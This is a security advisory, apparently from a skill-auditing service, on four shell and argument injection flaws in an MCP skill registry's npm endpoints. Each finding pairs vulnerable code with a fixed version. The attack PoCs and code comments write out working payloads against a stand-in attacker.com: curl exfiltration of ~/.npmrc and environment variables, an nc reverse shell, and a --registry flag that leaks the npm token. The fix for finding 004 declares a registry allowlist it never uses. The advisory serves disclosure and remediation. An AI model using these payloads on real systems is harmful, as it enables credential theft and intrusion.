Code injection in MCP skill registry package publishing and npm registry proxy endpoints (SA-SKL-INJECTION66)
SA-SKL-INJECTION66 identifies four code injection vulnerabilities in MCP skill registry skill package publishing and npm registry proxy endpoints, all rooted in the use of child_process.exec() with user-controlled values interpolated directly into shell command strings. The npm publish endpoint constructs a shell command with an unsanitized publishTag parameter, allowing an attacker to append arbitrary shell commands that execute as the npm proxy worker and exfiltrate the entire ~/.npmrc file — granting publish access to every npm organization package the registry worker has credentials for; the npm pack endpoint constructs a shell command with an unsanitized destDir parameter, allowing an attacker to inject a netcat reverse shell invocation that establishes a persistent interactive shell from the npm proxy worker process; the npm deprecate endpoint constructs a shell command with an unsanitized versionRange parameter, allowing an attacker to inject a printenv command that dumps all environment variables including NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other credentials present in the worker environment; and the npm dist-tag add endpoint constructs a shell command with an unsanitized tagName parameter, allowing an attacker to inject a --registry flag that routes the npm authentication token to an attacker-controlled registry server during the dist-tag operation.
exec(`npm publish --tag ${publishTag} ${packageDir}`) — attacker publishTag with ; cat ~/.npmrc exfiltrates all npm auth tokens enabling publish to any org packageexec(`npm pack ${packageDir} --pack-destination ${destDir}`) — attacker destDir with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from npm proxy workerexec(`npm deprecate ${packageName}@${versionRange} "${deprecationMessage}"`) — attacker versionRange with ; printenv exfiltrates all env vars including NPM_TOKEN and AWS credentialsexec(`npm dist-tag add ${packageName}@${version} ${tagName}`) — attacker tagName with space-injected --registry=https://attacker.com routes npm auth token to attacker-controlled registryINJECTION66-001 — Shell injection in npm publish via unsanitized publishTag exfiltrates all npm auth tokens
The POST /api/skills/packages/publish endpoint accepts a publishTag parameter that specifies the npm dist-tag to apply when publishing a skill package — values such as latest, beta, or next. The endpoint constructs the publish command by interpolating publishTag and packageDir directly into a shell command string passed to child_process.exec(). The shell interprets the full string, meaning any shell metacharacters in publishTag — semicolons, pipes, backticks, dollar signs — are parsed and executed as separate shell commands by /bin/sh before npm ever receives its arguments.
An attacker submits publishTag: "latest; cat ~/.npmrc | base64 | curl -s -d @- https://attacker.com/collect". The shell executes npm publish --tag latest, then executes cat ~/.npmrc which outputs the registry worker's npm configuration file. This file contains authentication tokens for every npm registry the worker has been configured to access — the main npm registry token used to publish packages under the registry's own organization scopes, tokens for any private npm registry proxies, and tokens for GitHub Packages or other npm-compatible registries. The base64-encoded .npmrc content is posted to the attacker's server. With these tokens, the attacker can publish malicious versions of any package the registry worker account controls, including injecting supply-chain backdoors into skill packages that other developers depend on.
// INJECTION66-001 — VULNERABLE
const { exec } = require('child_process');
router.post(
'/api/skills/packages/publish',
requireSession,
async (req, res) => {
const { skillId, publishTag, packageDir } = req.body;
// VULNERABLE: publishTag interpolated directly into shell command string
// attacker publishTag: "latest; cat ~/.npmrc | base64 | curl -d @- https://attacker.com/collect"
const cmd = `npm publish --tag ${publishTag} ${packageDir}`;
exec(cmd, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ skillId, published: true, output: stdout });
});
}
);
Attack PoC — INJECTION66-001: Attacker sets publishTag to latest; cat ~/.npmrc | base64 | curl -s -d @- https://attacker.com/collect. Shell semicolon causes the registry worker to exfiltrate the entire ~/.npmrc file — containing npm auth tokens for all configured registries — enabling the attacker to publish malicious package versions under any controlled org scope.
// INJECTION66-001 — ATTACK PoC
await fetch('https://registry.example.com/api/skills/packages/publish', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
skillId: 'my-skill',
// shell injection via semicolon — exfiltrates ~/.npmrc auth tokens
publishTag: 'latest; cat ~/.npmrc | base64 | curl -s -d @- https://attacker.com/npmrc',
packageDir: '/tmp/skill-package',
}),
});
// Server executes:
// npm publish --tag latest /tmp/skill-package
// cat ~/.npmrc | base64 | curl -s -d @- https://attacker.com/npmrc
// ~/.npmrc exfiltrated — attacker gains publish access to all configured registry scopes
// INJECTION66-001 — FIXED
const { execFile } = require('child_process');
const path = require('path');
const PUBLISH_TAG_RE = /^[a-zA-Z0-9_-]{1,50}$/;
const WORKSPACE_ROOT = path.resolve(process.env.WORKSPACE_ROOT || '/srv/skill-workspace');
router.post(
'/api/skills/packages/publish',
requireSession,
async (req, res) => {
const { skillId, publishTag, packageDir } = req.body;
// FIXED: validate publishTag against strict allowlist regex — rejects semicolons, pipes, spaces
if (!PUBLISH_TAG_RE.test(publishTag)) {
return res.status(400).json({ error: 'Invalid publishTag: must match /^[a-zA-Z0-9_-]{1,50}$/' });
}
// FIXED: resolve packageDir to WORKSPACE_ROOT — prevents path traversal
const resolvedPackageDir = path.resolve(WORKSPACE_ROOT, packageDir);
if (!resolvedPackageDir.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'packageDir outside workspace root' });
}
// FIXED: execFile() passes args as array — shell never invoked, metacharacters inert
execFile('npm', ['publish', '--tag', publishTag, resolvedPackageDir], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Publish failed' });
res.json({ skillId, published: true });
});
}
);
INJECTION66-002 — Shell injection in npm pack via unsanitized destDir establishes reverse shell from proxy worker
The POST /api/skills/packages/pack endpoint accepts a destDir parameter specifying where the generated .tgz tarball should be placed after npm pack completes. The endpoint constructs the pack command by interpolating both packageDir and destDir directly into a shell command string executed via child_process.exec(). Because exec() passes the entire string to /bin/sh -c, any shell metacharacters in destDir break out of the npm pack invocation and execute as independent shell commands in the worker process context.
An attacker submits destDir: "/tmp/packs; nc attacker.com 4444 -e /bin/sh". The shell first completes the npm pack invocation to /tmp/packs, then executes nc attacker.com 4444 -e /bin/sh, establishing a persistent TCP reverse shell back to the attacker's listener on port 4444. The reverse shell runs as the npm proxy worker process user and inherits all of its environment variables, file system access, and network reachability. Because the npm proxy worker typically runs with network access to internal services — npm registries, artifact storage, deployment pipelines — a reverse shell from this process provides a persistent foothold within the internal network that survives beyond any single API request and is not logged as a failed API call. If netcat is not available on the host, the attacker can substitute a bash TCP redirect, a Python one-liner, or any other reverse shell primitive available on the system.
// INJECTION66-002 — VULNERABLE
const { exec } = require('child_process');
router.post(
'/api/skills/packages/pack',
requireSession,
async (req, res) => {
const { skillId, packageDir, destDir } = req.body;
// VULNERABLE: destDir interpolated directly into shell command string
// attacker destDir: "/tmp/packs; nc attacker.com 4444 -e /bin/sh"
const cmd = `npm pack ${packageDir} --pack-destination ${destDir}`;
exec(cmd, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ skillId, tarball: stdout.trim() });
});
}
);
Attack PoC — INJECTION66-002: Attacker sets destDir to /tmp/packs; nc attacker.com 4444 -e /bin/sh. Shell semicolon causes the npm proxy worker to establish a persistent reverse shell to attacker.com:4444. The shell runs as the worker process user with full access to the worker's environment, credentials, and internal network reachability.
// INJECTION66-002 — ATTACK PoC
await fetch('https://registry.example.com/api/skills/packages/pack', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
skillId: 'my-skill',
packageDir: '/srv/skill-workspace/my-skill',
// shell injection via semicolon — establishes reverse shell
destDir: '/tmp/packs; nc attacker.com 4444 -e /bin/sh',
}),
});
// Server executes:
// npm pack /srv/skill-workspace/my-skill --pack-destination /tmp/packs
// nc attacker.com 4444 -e /bin/sh <-- persistent reverse shell
// INJECTION66-002 — FIXED
const { execFile } = require('child_process');
const path = require('path');
const WORKSPACE_ROOT = path.resolve(process.env.WORKSPACE_ROOT || '/srv/skill-workspace');
const PACK_DEST_DIR = path.resolve(process.env.PACK_DEST_DIR || '/srv/skill-packs');
router.post(
'/api/skills/packages/pack',
requireSession,
async (req, res) => {
const { skillId, packageDir, destDir } = req.body;
// FIXED: resolve both paths to their allowed roots — prevents traversal and injection
const resolvedPackageDir = path.resolve(WORKSPACE_ROOT, packageDir);
if (!resolvedPackageDir.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'packageDir outside workspace root' });
}
const resolvedDestDir = path.resolve(PACK_DEST_DIR, destDir);
if (!resolvedDestDir.startsWith(PACK_DEST_DIR + path.sep)) {
return res.status(400).json({ error: 'destDir outside pack destination root' });
}
// FIXED: execFile() with arg array — shell never invoked; env stripped to minimal safe set
execFile(
'npm',
['pack', resolvedPackageDir, '--pack-destination', resolvedDestDir],
{ env: { PATH: '/usr/local/bin:/usr/bin:/bin', HOME: '/tmp' } },
(err, stdout) => {
if (err) return res.status(500).json({ error: 'Pack failed' });
res.json({ skillId, tarball: path.basename(stdout.trim()) });
}
);
}
);
INJECTION66-003 — Shell injection in npm deprecate via unsanitized versionRange exfiltrates NPM_TOKEN and AWS credentials
The POST /api/skills/packages/deprecate endpoint accepts packageName, versionRange, and deprecationMessage parameters and constructs an npm deprecate command by interpolating all three values into a shell command string executed via child_process.exec(). The versionRange parameter is intended to accept npm semver range expressions such as <2.0.0 or 1.x, but the endpoint performs no validation before interpolation. Because exec() passes the full string to /bin/sh -c, semver metacharacters and additional shell operators in versionRange are parsed by the shell before npm receives any input.
An attacker submits versionRange: "<2.0.0; printenv | curl -s -d @- https://attacker.com/env". The shell executes the npm deprecate command for the legitimate version range, then executes printenv, which outputs every environment variable set in the npm proxy worker process. The worker environment contains credentials that are injected at container startup or read from the platform's secret management system: NPM_TOKEN used to authenticate npm publish and deprecate operations, AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY used to access the S3 artifact store and other AWS services, and potentially GITHUB_TOKEN, database connection strings, and other service credentials. All of these are piped to the attacker's collection endpoint. Even if the npm deprecate operation itself fails due to permission restrictions, the printenv command executes independently and the credential exfiltration succeeds regardless.
// INJECTION66-003 — VULNERABLE
const { exec } = require('child_process');
router.post(
'/api/skills/packages/deprecate',
requireSession,
requireRole('publisher'),
async (req, res) => {
const { packageName, versionRange, deprecationMessage } = req.body;
// VULNERABLE: versionRange and deprecationMessage interpolated into shell command
// attacker versionRange: "<2.0.0; printenv | curl -s -d @- https://attacker.com/env"
const cmd = `npm deprecate ${packageName}@${versionRange} "${deprecationMessage}"`;
exec(cmd, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ packageName, versionRange, deprecated: true });
});
}
);
Attack PoC — INJECTION66-003: Attacker sets versionRange to <2.0.0; printenv | curl -s -d @- https://attacker.com/env. Shell semicolon causes the worker to execute printenv and exfiltrate all environment variables — including NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other service credentials — regardless of whether the npm deprecate command succeeds.
// INJECTION66-003 — ATTACK PoC
await fetch('https://registry.example.com/api/skills/packages/deprecate', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
packageName: '@myorg/my-skill',
// shell injection via semicolon — exfiltrates all env vars
versionRange: '<2.0.0; printenv | curl -s -d @- https://attacker.com/env',
deprecationMessage: 'Use v2.0.0 or later',
}),
});
// Server executes:
// npm deprecate @myorg/my-skill@<2.0.0 "Use v2.0.0 or later"
// printenv | curl -s -d @- https://attacker.com/env
// Exfiltrates: NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, ...
// INJECTION66-003 — FIXED
const { execFile } = require('child_process');
// Semver range: digits, dots, comparison operators, x, *, ||, whitespace — no shell metacharacters
const VERSION_RANGE_RE = /^[\d.*x|^~<>=\s,]{1,100}$/;
router.post(
'/api/skills/packages/deprecate',
requireSession,
requireRole('publisher'),
async (req, res) => {
const { packageName, versionRange, deprecationMessage } = req.body;
// FIXED: validate versionRange against strict pattern — rejects semicolons, pipes, backticks
if (!VERSION_RANGE_RE.test(versionRange)) {
return res.status(400).json({ error: 'Invalid versionRange: contains forbidden characters' });
}
// FIXED: sanitize deprecationMessage — strip shell metacharacters
const safeMessage = deprecationMessage.replace(/[`$\\;"']/g, '');
// FIXED: execFile() with arg array — shell never invoked
execFile(
'npm',
['deprecate', `${packageName}@${versionRange}`, safeMessage],
(err) => {
if (err) return res.status(500).json({ error: 'Deprecation failed' });
res.json({ packageName, versionRange, deprecated: true });
}
);
}
);
INJECTION66-004 — Argument injection in npm dist-tag add via space-injected --registry flag routes auth token to attacker registry
The POST /api/skills/packages/dist-tag endpoint accepts packageName, version, and tagName parameters and constructs an npm dist-tag add command by interpolating all three into a shell command string executed via child_process.exec(). Unlike the previous three findings where shell operators such as semicolons and pipes are used to inject separate commands, this vulnerability exploits npm's own argument parsing: by injecting a space followed by --registry=https://attacker.com into the tagName value, the attacker adds an extra flag to the npm invocation itself rather than breaking out into a separate shell command.
An attacker submits tagName: "stable --registry=https://attacker.com". The shell splits this on whitespace and npm receives three positional arguments: the package-at-version specifier, the tag name stable, and the flag --registry=https://attacker.com. npm honors the --registry flag and routes the dist-tag add operation — including the npm authentication token carried in the Authorization header of the request — to the attacker's server instead of the legitimate registry. The attacker's server can log the full HTTP request, capturing the NPM_TOKEN bearer token that the worker uses to authenticate all npm operations. This token can then be replayed independently to publish, deprecate, or delete packages on the legitimate registry without any further access to the worker process. This argument injection vector is particularly insidious because it does not use any traditional shell injection characters and would not be caught by input filters that only reject semicolons, pipes, and backticks.
// INJECTION66-004 — VULNERABLE
const { exec } = require('child_process');
router.post(
'/api/skills/packages/dist-tag',
requireSession,
requireRole('publisher'),
async (req, res) => {
const { packageName, version, tagName } = req.body;
// VULNERABLE: tagName interpolated into shell command — space injection adds --registry flag
// attacker tagName: "stable --registry=https://attacker.com"
const cmd = `npm dist-tag add ${packageName}@${version} ${tagName}`;
exec(cmd, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ packageName, version, tagName, tagged: true });
});
}
);
Attack PoC — INJECTION66-004: Attacker sets tagName to stable --registry=https://attacker.com. npm receives --registry=https://attacker.com as a flag and routes the dist-tag add request — including the Authorization: Bearer NPM_TOKEN header — to the attacker-controlled registry server. No shell metacharacters required; the attack bypasses filters that only reject semicolons and pipes.
// INJECTION66-004 — ATTACK PoC
await fetch('https://registry.example.com/api/skills/packages/dist-tag', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
packageName: '@myorg/my-skill',
version: '2.1.0',
// argument injection via space — adds --registry flag to npm invocation
tagName: 'stable --registry=https://attacker-npm.com',
}),
});
// Server executes:
// npm dist-tag add @myorg/my-skill@2.1.0 stable --registry=https://attacker-npm.com
// npm sends Authorization: Bearer to attacker-controlled registry
// attacker captures NPM_TOKEN and replays it against the real registry
// INJECTION66-004 — FIXED
const { execFile } = require('child_process');
// Tag names: letters, digits, hyphens, underscores only — no spaces, no dashes at start
const TAG_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9_-]{0,49}$/;
// Explicit allowlist of permitted registry origins
const ALLOWED_REGISTRIES = new Set([
'https://registry.npmjs.org',
`https://${process.env.PRIVATE_REGISTRY_HOST}`,
]);
router.post(
'/api/skills/packages/dist-tag',
requireSession,
requireRole('publisher'),
async (req, res) => {
const { packageName, version, tagName } = req.body;
// FIXED: validate tagName — rejects values with spaces, preventing --flag injection
if (!TAG_NAME_RE.test(tagName)) {
return res.status(400).json({ error: 'Invalid tagName: must match /^[a-zA-Z0-9][a-zA-Z0-9_-]{0,49}$/' });
}
// FIXED: execFile() with arg array — npm receives exact argument list, no shell involved
// FIXED: explicit --registry from ALLOWED_REGISTRIES Set — attacker cannot override
execFile(
'npm',
[
'dist-tag', 'add',
`${packageName}@${version}`,
tagName,
'--registry', process.env.NPM_REGISTRY_URL,
],
(err) => {
if (err) return res.status(500).json({ error: 'dist-tag failed' });
res.json({ packageName, version, tagName, tagged: true });
}
);
}
);
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect shell injection and argument injection vulnerabilities in npm publishing and registry proxy endpoints — including exec() with interpolated arguments, missing semver range validation, and space-based flag injection — in under 60 seconds.